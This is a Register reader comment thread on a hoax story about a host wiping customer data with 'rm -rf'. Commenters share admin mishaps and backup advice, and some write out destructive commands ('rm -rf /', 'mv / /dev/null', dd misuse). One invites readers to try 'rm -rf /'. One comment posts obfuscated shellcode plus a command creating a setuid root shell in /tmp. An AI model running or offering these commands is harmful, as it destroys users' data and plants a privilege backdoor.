back to article Linux command line mistake 'nukes web boss'S biz'

The owner of a web host has unwittingly deleted his customers data after executing a powerful line of code on his servers. Marco Marsala has appealed for help to recover his punters' info after accidentally running a Bash script on his Linux servers via Ansible. Marsala is said to have 1,535 customers, although he does not …

COMMENTS

This topic is closed for new posts.
  1. m0rt

    "This question was removed from Server Fault for reasons of moderation. Please refer to the help center for possible explanations why a question might be removed."

    1. e^iπ+1=0

      "why a question might be removed."

      Autopost April Fool with the time delay miscalculated.

  2. Millennia
    WTF?

    Top trolling

    I am pretty sure that the post that lead to this article is trolling, it is so perfectly connected stupid that I couldn't imagine such a person would ever have got into that position in the first place.

    1. Brewster's Angle Grinder Silver badge

      Re: Top trolling

      It does appear to be fake. Unfortunately, I can easily imagine such a person getting into such a position. All it takes is a little skill and a lot of money.

  3. d3rrial

    It's fake

    He's already released a statement about it being a "viral marketing campaign" for his startup.

    El Reg. Why are you failing me? I always thought you did at least a little research when posting articles...

    1. RIBrsiq
      FAIL

      Re: It's fake

      Viral marketing, eh? How's that supposed to work, then?

      "I might be incompetent. Invest in my company"...?

      1. Anonymous Coward
        Anonymous Coward

        Re: It's fake

        @RIBrsiq

        The follow up is probably for some kind of backup service.

      2. Anonymous Coward
        Anonymous Coward

        Re: It's fake

        "Look what this chump did, buy our backup product"

    2. Anonymous Coward
      Anonymous Coward

      Re: It's fake

      It's complete bollocks, that's what it is. And how could El Reg reprint rubbish like "Rm is a Unix and Linux command only available to the root user that deletes objects like files."?

      1. Anonymous Coward
        Anonymous Coward

        Re: It's fake

        Once I ran rm -rf /dev/usb/ and my printer just disappeared.

        1. choleric

          Re: It's fake

          That's nothing. I ran rm -fr /dev/char/* and now I can't make good jokes.

          1. Preston Munchensonton
            Coat

            Re: It's fake

            That's nothing. I ran rm -fr /dev/char/* and now I can't make good jokes.

            Yes, it's always a lack of character that will deep six a sense of humor...

        2. Mark 85

          Re: It's fake

          It's a pity that rm -rf /dev/boss/ won't work. But then, it's Friday and pub o-clock.

        3. admiraljkb
          Joke

          Re: It's fake

          "Once I ran rm -rf /dev/usb/ and my printer just disappeared."

          Thats what happens when you use those reman cartridges. New cartridges from the manufacturer have built in protection from that.

    3. Anonymous Coward
      Anonymous Coward

      Re: It's fake

      I've been saying that since, someone linked me it from some third rate site, then got another link from the independant, then someone at work... and I was "this is gonna be pretty funny when it comes out to be fake"

    4. Anonymous Coward
      Anonymous Coward

      Re: It's fake

      Of course it's fake even I know the correct command is mv / /dev/null

    5. admiraljkb
      Paris Hilton

      Re: It's fake

      Yep, the ServerFault Topic is closed now, and it IS a late April fools... At the top of question is this notice:

      "Edit: This is a hoax by a f***** troll."

      Paris, cuz, oh hell, its Friday and ServerFault was trolled, so why not.

  4. Joseph Eoff

    rm is avalaible to all users. Deleting stuff in the root directory does require root access.

    Isn't this a tech site? Don't ya'll know this sort of thing?

    1. Paul Crawford Silver badge

      More precisely, deleting stuff need write-access to the holding directory. Unless you are root, that user, or the user has allowed you via "group" membership & write permission (or $DIETY forbid, "other") then you can't do it.

      Backups? Snapshot file system? I know its glib to ask, and we have all done dumb things in the past, but for a hosing business you like to assume there was *some* disaster recovery plan!

      1. Rich 11

        Never assume anything!

      2. Sorry, you cannot reuse an old handle.

        I wasn't sure whether to ask my apples or my pears but you possibly meant DEITY, not DIETY...

        1. choleric

          That depends on whether the value of $DEITY was DIETY or not.

        2. Stoneshop
          Flame

          $DIETY

          For the times when full-blast hellfire and brimstone is overkill.

          (set to gas mark 3 and gently lob small bits of pumice at target)

      3. Nick 26

        > Backups?

        The story went that the backups were in a mounted directory which rm happily traversed and trashed, which is not an inconceivable scenario if a naive user was backing up to a network share or Dropbox.

        In the age of ransomware it's become even more important not to store backups anywhere they can be easily accessed.

    2. Asterix the Gaul

      It's why I never use an admin account when using Windows,or Linux flavours.

      I cannot see how even a keyboard error can achieve the necessary command,yet alone how an idiot aquires 'root' privilges.

      It's phoney,it's negative advertising & it's counter-productive.

      I fail to see how any business with precious customers ignores the golden rule of, back-up-back-up,back-up.

      1. Lars Silver badge
        Happy

        "back-up-back-up,back-up". Some of our customers had a habit of using local (and cheaper) experts to add or change HDs and stuff like that to their systems, no hard feelings there, but at least twice those guys forgot to change the path for the backup, so indeed there was "back-up-back-up,back-up" each night but, but, but.

        One other funny thing with the shell was when, for instance, you helped somebody with cp blaa blaablaa, and you knew in advance the that the voice in the phone would go - "no nothing, absolutely no nothing". That until you started to use the -v (for verbose). Actually it was not "one other funny thing" at all, just Friday.

    3. Bump in the night
      Facepalm

      pick one

      1. Of course we don't know this, that's why we're visiting a web site.

      2. No one here can ever agree on a technical point, that's why they spend so much time belittling each other.

    4. e^iπ+1=0

      rm -rf /

      "Deleting stuff in the root directory does require root access."

      Think this works as expected for a non privileged user: all my stuff is gone, other stuff still there. Redirect output to avoid seeing a bunch of errors.

      Try yourself.

    5. Someone_Somewhere

      > rm is avalaible to all users. <

      Well, that rather depends upon whether the BOFH has decided to make rm require privileges ordinary users don't have.

      > Deleting stuff in the root directory does require root access. <

      Unless you're in the 'wheel' group.

      Or some other group that has been granted that privilege.

      Or simply granted that privilege as an individual user for some incomprehensibly foolish reason.

      Or, for some even less comprehensible reason 'rm' has been applied with a setuid/setgid on '/'.

      Or, even less comprehensibly than even /that/, '/' has been shared via samba and your user has elevated privileges thanks to an administrative cockup - this /is/ samba we're talking about here.

      > Isn't this a tech site? Don't ya'll know this sort of thing? <

      Erm, I think that's the whole point of the joke - pretty obvious really (somebody already remarked upon it above).

      Except, of course, for the 88%+* market share Windows users, who have no idea what we're talking about.

      * I might be being a bit charitable in assigning 10% to Apple - but I think 2% is correct for Linux.

      1. Paul Crawford Silver badge

        "Except, of course, for the 88%+* desktop market share Windows users, who have no idea what we're talking about"

        Fixed it for you. When looking at anyone who would use (or even know about) command line actions, its probably closer to 50%.

        Still, some additional "WTF?" options that allow (or not) such problems. Others recommend that most users don't get shell access, or the ability to execute programs in areas they have write access to:

        https://www.gov.uk/government/publications/end-user-devices-security-guidance-ubuntu-1404-lts/end-user-devices-guidance-ubuntu-1404-lts

    6. Stuart Halliday
      Facepalm

      Unfortunately The Register authors tend to forget that major fact.

  5. Anonymous Coward
    Anonymous Coward

    Apparently, he was using Ansible...

    ... the darling of DevOps (Reg hasn't managed it in the last few minutes, so I thought I would).

    Automation is quite good at propagating your mistakes to every server quickly!

    1. choleric

      Re: Apparently, he was using Ansible...

      Now there's a comment that bites the hand that feeds IT. What's the word for that kind of thing? Re-cursing? Biteback? Excellent?

      1. Anonymous Coward
        Anonymous Coward

        Re: Apparently, he was using Ansible...

        bite -rf /elreg/devops

  6. lansalot

    Reeks...

    Before the post was removed, he had laid a comment saying that he'd managed to recover it all. There was a further comment asking the obvious "how did you do that" which hadn't been replied to before the thread was locked.

    Stinks to high heaven, this one... It has to be a troll/fake.

  7. Anonymous Coward
    Angel

    rm -rf

    > Rm is a Unix and Linux command only available to the root user that deletes objects like files

    Ummmm, no.

    1. It's rm and not Rm. UNIX or Linux is case-sensitive.

    2. rm is available to everyone, not just to the superuser (root). Anyone can type rm -f or rm -rf or some other combo at a terminal prompt, or use rm in a shell script.

    3. Whether or not a file or directory can be removed with rm depends on the access permissions on said file or directory (or symlink, hardlink, pipe, etc).

    4. Yes, pedantic.

    1. Anonymous Coward
      Anonymous Coward

      Re: rm -rf

      Makes you wonder about El'Regs tech credentials nowadays.

      1. Anonymous Coward
        Anonymous Coward

        Re: rm -rf

        "Sorry about the mistake. But since you're concerned with tech credentials, have you read the many fine pieces on DevOps lately? They're great!"

        I. B. Journo.

        1. Rich 11

          Re: rm -rf

          Said in a Tony the Tiger voice.

          1. m0rt

            Re: rm -rf

            Funny. When I say it I sound more like Scooby Doo.

  8. Florida1920
    Pint

    It's Friday

    This sounds like a command string the BOFH would induce a clueless HR person to type just as he and the PFY head out to the pub. Can't believe anyone running a hosting service with >1000 clients wouldn't keep offline backups.

    1. bombastic bob Silver badge

      Re: It's Friday

      it also helps (thanks to the BOFH) that the values of both 'foo' and 'bar' happened to be blank

      rm -rf {foo}/{bar} <--- looks like a bad sample from a joke usenet post

    2. Tomato42
      Facepalm

      Re: It's Friday

      can't believe that anyone is stupid enough to make servers _push_ data to backup servers instead of the backup server pulling the data from the server.

      Not only a troll but a stupid one at that.

  9. TJ1

    Whilst you're here...

    ... so you avoid the other 'rm' gotchya that traverses into the parent directory of the target when intending to delete 'dotfiles' via something like:

    rm -rf .*

    which matches ".." - the parent directory inode - and will merrily remove all entries in that directory too.

    The shell file-name wildcard expansion is responsible. Use this instead (example with 'ls' to avoid damage):

    bash/dash/sh: ls .[!.]*

    bash/csh/zsh: ls .[^.]*

    which will pick all the dot-files but not double-dot (link to parent directory). Only time this will be problematic is if there are files/directories named with the style "...three-dot-file".

    1. Nick 26

      Re: Whilst you're here...

      > rm -rf .*

      Most modern implementations of rm trap this. For example in the latest OS/X:

      $ rm -rf .

      rm: "." and ".." may not be removed

  10. Anonymous Coward
    Anonymous Coward

    I did this once (very nearly)

    From the command line, in / I accidentally typed " rm -f * " on a production server.

    After a few moments of utter panic, I noticed the missing "r" :-), and realised that actually in the root partition are VERY few files, and the directories don't get deleted without the -r :-)

    I was able to copy the missing stuff from a spare server.

    AC, because I want to keep my job.

    1. Anonymous Coward
      Anonymous Coward

      Re: I did this once (very nearly)

      One of my first days out on my own as a junior consultant about 15 years ago, I accidentally deleted the inetd.conf from a clients production server... fortunately it was in a farm and inetd was still running (and only reads the file at startup) so everything was recovered in about 60 seconds. Still remember the brief and utter panic when I did it though.

      1. Nigel222

        Re: I did this once (very nearly)

        Seriously. Never type rm -rf. Always type rm /what/ever then think hard then add -rf at the end then think very hard again before pressing enter.

        One thing to think is where is the backup.

        Another is to consider mv /what/ever /junk/stuff and wait a good while to see if the sky falls in before rm /junk/stuff -rf. This will render at least 9/10 career-limiting mistakes quickly reversible. Not 10/10 though.

    2. Known Hero

      Re: I did this once (very nearly)

      Don't feel bad, go here to buck yourself up !

      http://forums.theregister.co.uk/forum/1/2012/04/09/Drewc_FAIL_the_most_incompetent_IT_pros/

    3. Anonymous Coward
      Anonymous Coward

      Re: I did this once (very nearly)

      Some older Unix versions (*cough* IRIX) kept their kernel directly under /, so your rm -f * would have required rebuilding the kernel or loading from backup.

    4. Anonymous Coward
      Anonymous Coward

      Re: I did this once (very nearly)

      I've done the same with 'TRUNCATE TABLE <foo>' on a development database ... except ... "Oh F**K, DBArtisan(*) has quietly reconnected me(**) to production because I'd been looking at something there earlier instead of the database I thought I had switched to!!".

      Fortunately was able to very quickly recover the table and lost data from a DR server though.

      (* DBArtisan 4.x had the most shit unreliable user interface ever. It was often less painful to write scripts in a text editor and submit them using isql ...)

      (** And yes regrettably I was using a support account which had enough privilege to modify the system catalogue ... I learned to set up separation privileges by responsibility thanks to this incident)

    5. Zolko Silver badge

      Re: I did this once (very nearly)

      From the command line, in / I accidentally typed " rm -f * " on a production server.

      someone Iknow did rm -rf * in an remote login, wanted to clean a working directory full of garbage .... but somehow the ssh session terminated, didn't notice, and the command was executed locally in the $HOME directory.

  11. Michael H.F. Wilkinson Silver badge
    Happy

    I thought everybody knew

    that "rm" stands for "remark".

    Our sysadmin told us so

    His name is Simon, I think

    1. TrevorH

      Re: I thought everybody knew

      The original post said he was running CentOS 7 and if you run rm -rf / on CentOS 7 you get...

      [root@localhost ~]# rm -rf /

      rm: it is dangerous to operate recursively on ‘/’

      rm: use --no-preserve-root to override this failsafe

      1. Frank Zuiderduin

        Re: I thought everybody knew

        That switch has been there for about a decade, I believe. There was no mention of it in the original Server Fault thread. It smelled fake from the start.

        1. Midnight

          Re: I thought everybody knew

          The default, however, was "--no-preseve-root" up until RHEL / CentOS 6. If you're using 5, which still has another year of official support in it, then "rm -rf /" will happily do exactly what it says on the box.

      2. This post has been deleted by its author

    2. Paul Crawford Silver badge
      Joke

      Re: "rm" stands for "remark"

      While "dd" stands for "destroy data" as we all know...

      1. admiraljkb
        Joke

        Re: "rm" stands for "remark"

        "dd" can be a career limiting move if HR catches you on "that" site again...

      2. Anonymous Coward
        Anonymous Coward

        Re: "rm" stands for "remark"

        > While "dd" stands for "destroy data" as we all know...

        Yup. Years ago I was woken up in the middle of the night by a very pale-looking and unusually contrite colleague. Apparently he was following some work instruction on how to re-image the backup operating system disk on a production machine and did not think of checking that /dev/sdb was indeed the disk he wanted to re-image. As opposed to the disk containing some US$500,000.- worth of telemetry data which hadn't yet made it to permanent storage (massive amounts of data, slow disks).

        Luckily I studied computer forensics for fun after my proper degree, and my knowledge was still reasonably fresh. Thirty-six hours latter without any sleep or warm food I had recovered *all* of the data. I just got lucky, for values of "lucky" in the range of "all the filesystem information got nuked but most of the data was still there, except that you had to know the details of the raw data structures and grep /dev/sdb for telltale patterns then puzzle it all together until you found the file boundaries, then you had to reprocess it all (with your own ad-hoc C code written for the occasion) to rebuild the data based on redundancies in the storage format for the relatively few cases where some data had got overwritten or could not be found, then you had to relink the whole thing into a properly named file with sensible-looking timestamps, which we could get from offline logs". That's how lucky I got.

        For obvious job preservation reasons, word never got out of that office about the incident so all I got out of it was a big hug from a hairy bloke. But fuck it, just as easily it could have been me screwing it up, so no regrets.

  12. David Roberts

    Recursive?

    rm = remove

    "- f" = just f*ing do it

    "-r" = recursive - that is work your way down the directory tree and nuke everything

    Noting that the author has no Unix/Linux expertise, I was expecting a poster to have mentioned the word "recursive" by now.

    1. Steven Raith

      Re: Recursive?

      I was just about to, but you beat me to it. Surprised no-one picked up on that, and surprised it was erroneously notated in the article.

    2. Anonymous Coward
      Anonymous Coward

      Re: Recursive?

      > "-r" = recursive

      I always thought it stood for "recalcitrant".

  13. Sir Sham Cad

    Fake but plausible

    Way back in the late 90's I interviewed for a webmaster post at a web hosting company, the name of which will be withheld to protect the guilty. I asked where the web servers were physically located and how we physically accessed them if needed.

    They pointed to a single SGI workstation sat on a table and told me that was the web server. Running all of their clients web sites.

    They neither offered, nor was I inclined to accept the job.

  14. Anonymous Coward
    Anonymous Coward

    This reminds me of the time I accidentally typed

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p

    release */

    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″

    “cp -p /bin/sh /tmp/.beyond; chmod 4755

    /tmp/.beyond;”;

    Oh how we laughed.

    Edit:how it works just for fun

  15. Anonymous Coward
    Anonymous Coward

    From what I read elsewhere it wasn't quite a dumb as typing 'rm -rf /'. Instead it was in a script which was meant to be cleaning up data using

    rm -rf ${DIRNAME}/${SUBDIRNAME}

    .... but due to a typo in an earlier line these two variables had not been set to a value so the line expanded to the infamous "rm -rf /".

    1. MacroRodent
      Boffin

      Has happened in a guhly visible game system

      Whether or not the issue here was real or fake, a year ago the Linux port of Steam was hit by a similar issue. Reportedly, it used to have a script with line like

      rm -rf "$STEAMROOT"/*

      Unfortunately, due to insufficient checking in the script, STEAMROOT could sometimes be undefined, so the line above expands to the file-system nuking command if run as root. If as nonprivileged user, it will delete the user's own home directory, often bad enough.

      The moral here is that if you are going to distribute a shell script to other users, you just cannot assume things go well. You have to check for valid input parameters, command exit statuses, and whether environment variables that are needed exist and have reasonable values. This easily makes the script twice as long (or more) than a throwaway script doing the same operations under lucky circumstances. (And guess which versions books and web pages on scripting typically show as examples?).

  16. westlake

    Fake? Yeah, but the story pretty much sums up why ordinary users are absolutely terrified of the command line.

  17. This post has been deleted by its author

  18. Dave 32
    Mushroom

    Format C:

    Who amongst us hasn't typed "FORMAT C:" and then replied yes to the prompt without realizing that we had meant to type "FORMAT A:"? I certainly have. Whoopsie. Spent the next day rebuilding the system. And, yeah, I've also did variants of that on just about every other system I've ever used at one time or another (e.g., "FORMAT 191".). When you've been dealing with computers for close to 40 years, you have had a LOT of opportunities to make mistakes.

    However, this also goes to show the silliness of only having one backup. A true IT professional knows that you never only have one backup. What happens if you have a file system error part way through the backup process, such that the original file system is wiped out, and the backup is corrupted? (And, this is coming from a guy who managed to wipe out 400 man-years of data, due to a disk crashing part way through a database compression!!! Felt like tossing my cookies when that disk error appeared. Fortunately, had another backup that saved my bacon. Whew!).

    For the truly paranoid, one should ask themselves if their data will be safe if the technician down the hall accidentally denotes that nuclear warhead that he's fiddling with in the building.

    Dave

    1. Andy Miller

      Re: Format C:

      At one time 'format' defaulted to the current drive. So all you had to do was miss off the A:... IIRC they fixed that one (probably around DOS 4?)

    2. theOtherJT Silver badge

      Re: Format C:

      My personal take on that is dd if=/dev/sdb of=/dev/sdc and then realizing that the disk I wanted to copy FROM was at sdc and I'd just written a load of nonsense over it from and unformatted drive :/

    3. Anonymous Coward
      Anonymous Coward

      Re: Format C:

      I ran Fdisk on my computer and nuked the wrong partition after a panic I remembered I had a disk editor and was able to rebuild the partition table.

      I have also deleted the DOS directory.

      one of my biggest was working on a laptop that couldn't run a windows repair install I wanted to check the hardware and I thought my boss had imaged the drive, and I installed GNU/linux and and found out that the drive hadn't been imaged:-(

      I got all the data back using File Scavenger. I got hell for that one but I still have a job that was about 8 years ago.

  19. PNGuinn
    Mushroom

    That lion in the header pic ...

    ... has a mighty great roar.

  20. chivo243 Silver badge
    Stop

    we chatted in the office

    I could not fathom how everything could on every server and in all back up repositories could be wiped. My bash go to guy tried to explain how he could have maybe done such a thing. It didn't hold water for me.

  21. asdf
    Mushroom

    rm -rf /usr/bin/bash

    Won't save you from stupid (ie this problem) but will make your system more secure. That shell is a hairball tire fire code wise and is not included in most commercial POSIX systems by default, outside Linux world.

    1. Dan 55 Silver badge

      Re: rm -rf /usr/bin/bash

      It won't make it more secure if the alternative is ksh.

      1. asdf

        Re: rm -rf /usr/bin/bash

        Really? Find me anything approaching the severity of the bash shellshock family of fail from ksh (88 or 93) in the last decade. Defects that serious seldom are one offs (see OpenSSL).

      2. asdf

        Re: rm -rf /usr/bin/bash

        I don't mind downvotes when there are no refuting comments. Means I am simply offending the only nix I have ever seen is Linux sheep.

    2. asdf

      Re: rm -rf /usr/bin/bash

      > in most commercial POSIX systems by default, outside Linux world.

      Most as in the number of other unique systems not total unit sales as Mac OS X does include bash if I remember right (missed edit period).

  22. anthonyhegedus Silver badge

    Back in the days of DOS, I remember once we had a user who told me that she's been trying to delete these pesky "." and ".." files from every floppy disk in the office, and they can't seem to go away. On a separate note, she noticed that all the floppies were otherwise blank. I was only 18 or 19 at the time and I just thought "oh my fucking god"

    1. Mr Dogshit

      Back in the days of Windows 3.11

      The secretary did some tidying up on her hard disk and deleted AUTOEXEC.BAT and CONFIG.SYS

      1. Anonymous Coward
        Anonymous Coward

        Re: Back in the days of Windows 3.11

        yeah, but that was just a security update :-)

      2. Anonymous Coward
        Anonymous Coward

        Re: Back in the days of Windows 3.11

        We used to do that to computers on display in Dixons, having carefully plugged their keyboards back in...

  23. adnim

    As a <strike>noob</strike>

    ... nob, I have run that command as root in the root directory. That was in 1993, it's a good learning experience. I always pwd now beforehand.... I think long and hard and never do admin stuff after a glass of wine.

    1. Known Hero

      Re: As a <strike>noob</strike>

      Working on live servers, I always get butterflies - but I train myself to be scared of changing anything and not be blase about anything I do when live.

      Yeah I know what i'm doing, but I'll be damned if im going to let that make me complacent.

  24. phands

    Totalay fake story

    Apart from the basic mistakes, like the upper case, and the fact that rm is available to all users - modified by file and directory permsiisions, I thought it worth pointing out this....

    http://www.linuxdigest.org/blog/2014/06/22/recover-deleted-files-lsof/

  25. FordPrefect

    Just reminds everyone why you don't ever test scripts for the first time on a live environment and also why proper off system backups are so vital! Don't ever just rely on RAID disc resiliency it wouldn't have helped here.

    1. Anonymous Coward
      Anonymous Coward

      Just reminds everyone why you don't ever test scripts for the first time on a live environment..

      What? I suppose next you'll be telling me that running psdoom on a live multi-user system is a bad idea as well..

      (And yes, I have done this on a live system, 54 people remotely logged in to shell accounts, and another 30 or so accessing their email via imap at the time..they didn't take the hint in the email that the system was coming down at a specific time that night so that I could upgrade its memory...I suppose I could just have shut the bugger down on them, but psdoom was a more fun way of getting them to leave..one way or the other)

  26. Colin Miller

    Only mount today's backup

    If you're using NAS for your backups, then in the name of the Wee Man, only mount today's directory.

    That way, you can't trash other days' backups.

    1. Anonymous Coward
      Anonymous Coward

      Re: Only mount today's backup

      A single copy onto a share is not a backup. Is just a copy.

      A true backup is fairly more (and more secure).

  27. bldrco

    does this really happen?

    Testing on an older machine:

    # rm -rf /

    rm: it is dangerous to operate recursively on `/'

    rm: use --no-preserve-root to override this failsafe

    #

  28. gryff

    Ansible ? So that's how...

    ..a network admin at my last company deleted all Linux instances in the entire company one Friday afternoon.

    The prime and backup site were adminstered from the same environment, so the kill <INSTANCE> command propagated across all instances in the load balanced and linked setup they had.

    They were an online service company, so the entire company went offline INSTANTLY (prime *and* backup) and it tooks days of backup restoration, rebuild and recover to get back online.

    So much for virtualisation and redundancy.

    Fresh underpants moment...

    Moral of the story: Thou shalt not allow mirrored, redundant sites to be administered from the same environment by the same person at the same time.

    (I'm not amazed it happened, I'm amazed they survived the near death experience..)

    Thanks for the missing puzzle piece...I work in hardware now :0)

    Names witheld to protect the innocent.

  29. zb

    But this all contradicts everything

    we have been told about data security.

    There are gazillions of web pages telling us how to safely dispose of hard drives. Everything from multiple overwrites to break them into a thousand pieces, heat them to 1000 degrees, grind them to powder and put it all in a safe for the next thousand years.

    Now it seems that all one needs to do is run rm -rf as root "you just nuked your entire company.”

  30. Anonymous Coward
    Anonymous Coward

    shutdown -h now

    I once had to sack someone for typing that in the wrong terminal window 14 hours into the overnight batch - not my choice (sorry Nev, hope you're OK).

    1. Anonymous Coward
      Anonymous Coward

      Re: shutdown -h now

      I did that once on a server I was building (debian on XEN), in stead of shutdown -r now. I had a continuous ping to the server from another terminal and was waiting for it to come up so I could continue.

      Once the penny dropped the upshot was a rather embarrassing/humiliating call to our ISP, requesting them to please start up our server.

      Same server, earlier on: this was my first serious server I built, as well as the first virtual one, so I wanted to do it right and by the book. So the first thing I did was to disable root login, then set up sftp permissions so that no-one can traverse up the directory. I tested sftp and it worked as intended, so once I was happy that the server was secure, I rebooted it.

      It was only when I wanted to log on again, that I realised that I had done things a bit backwards and had not yet created any other users. Cue the first rather sheepish call.

      The one positive aspect of mistakes like that is that it really makes one paranoid about checking and rechecking everything before committing the irrevocable final step. And doubly so on production servers.

      AC, rather obviously, although I have told enough people of this so that it is not a secret, really, but maybe it is prudent to hide behind a mask for a change.

  31. Frumious Bandersnatch

    bang or

    Can't recall accidentally typing something like this, but I've certainly borked things up a bit by using the shell history feature "!something" to re-run a previous command only to either have a typo that called up another command instead, or brought back a nasty command that I'd forgotten was in the history. Tab completion is also another great labour-saving device that brings its own problems.

    The times I've accidentally done 'tar cf *" to make a tar file, accidentally clobbering the first file? More than once. Plus dd mishaps, obviously, especially on machines where enumeration of devices (sd?, mmcblk?) is essentially random after a reboot.

    /measure twice, cut once

  32. petef

    I have effectively done this

    Some time ago my work group had individual workstations, well 386 PCs actually running Interactive Unix. I had an account on a colleague's machine and they asked me to remove it. So I deleted /home/mydir/ but left myself a login with a home of / (root) and let my colleague know I had cleared my disk space.

    They then proceeded to remove my account banging Y to all the questions, including that of remove home directory. The PC was bricked and had to be loaded afresh from floppies.

    I filed a bug report to Sun who by this stage had taken over ISC. They did respond to my suggestion that the remove user script could have an extra safeguard but said they were not going to do anything.

  33. tekHedd

    ServerFault community

    I saw the thread while it was up, and checked his history--he did a good job of establishing a history with some properly noobish questions, so it looked legit to me--no surprise people were fooled.

    What really impressed me was how politely and helpfully the ServerFault community responded. Best response was something along the lines of "you're out of business; call a lawyer". But everyone took him seriously and was very helpful. So... not normal for the Internet.

  34. RegGuy1 Silver badge

    Rm is a Unix and Linux command that deletes objects like files.

    Er, no it's not. However, rm is a Unix command.

  35. Anonymous Coward
    Anonymous Coward

    About the foo to the bar

    Y'all are too young and from the wrong side of the pond. US military slang from the Vietnam War era gave us the useful acronym FUBAR = F*ed Up Beyond All Relief. It built on earlier slang, SNAFU - Situation Normal - All F*ed up.

    1. Anonymous Coward
      Anonymous Coward

      Re: About the foo to the bar

      '..US military slang from the Vietnam War era '

      This side of the pond, I've been using SNAFU and FUBAR since the mid-70s..their origins go back a bit further than Vietnam..

      SNAFU - Private Snafu (WW2)

      FUBAR officially dates from the same time period..though I seem to remember a reference somewhere to it being in use back in the 1930s.

      We need an El Reg Private SNAFU icon, for, y'know, moments like those we're discussing here...

  36. akeane
    Mushroom

    Even if...

    ... the story was true rm doesn't "nuke" the files it just unlinks them, it takes a couple of minutes of googling to find an "undelete" tool...

    1. Anonymous Coward
      Anonymous Coward

      Re: Even if...

      There are undelete utils for FAT, NTFS, and Linux ext2/3/4, but if the filesystem is ZFS, XFS or a distributed filesystem, undeleting can be much more difficult.

  37. Nick 26

    I done plenty of deleting directories I didn't mean to using badly defined variables but two similar cockups stand out in my memory:

    The first I've done a few times is accidentally adding an additional / to the "src" of an rsync command when trying to update a subdirectory, for example:

    $ ls /bar

    aaa bbb ccc ddd eee

    $ ls /path/to/foo

    file

    $ rsync -a --delete /path/to/foo /bar

    $ ls /bar

    aaa bbb ccc ddd eee foo

    $ rsync -a --delete /path/to/foo/ /bar

    $ ls /bar

    file

    There's then a slow dawning realisation of what's happen, I swear profusely and think "oh shit, where can I get that data back from?"

    The other was when I was a young misguided tcsh user and I was telling some veteran ksh users how good it was because it had features like "set rmstar" where it would warn you if you do "rm *" and proceeded to demonstrate this in my home directory on my network login on a different machine than I normally use in a shell where it was unset, much hilarity ensued.

  38. x 7

    what numpty wrote the page title?

    "/man_deleats_customers_running_script/"

    deleats???????? FFS you're journalists, its "deletes"

  39. Netbofia
    Mushroom

    HOAX

    It turn out it is actually a hoax.

    http://www.repubblica.it/tecnologia/2016/04/15/news/cancella_l_azienda_per_sbaglio_la_disavventura_tecnologica_di_marco_marsala-137693154/?ref=twhr&timestamp=1460722285000&utm_source=dlvr.it&utm_medium=twitter#gallery-slider=137699008

  40. Stevie

    Bah!

    And another young man discovers that the hubris-rich axiom from his CS degree course "Unix admins doon't need an 'are you sure?' button because Unix admins know what they are doing" has an important unspoken loophole: "until they don't".

    Unless this is a misidentified April Fool and the Satanic Messages In Harry Potter story rides again.

This topic is closed for new posts.

Other stories you might like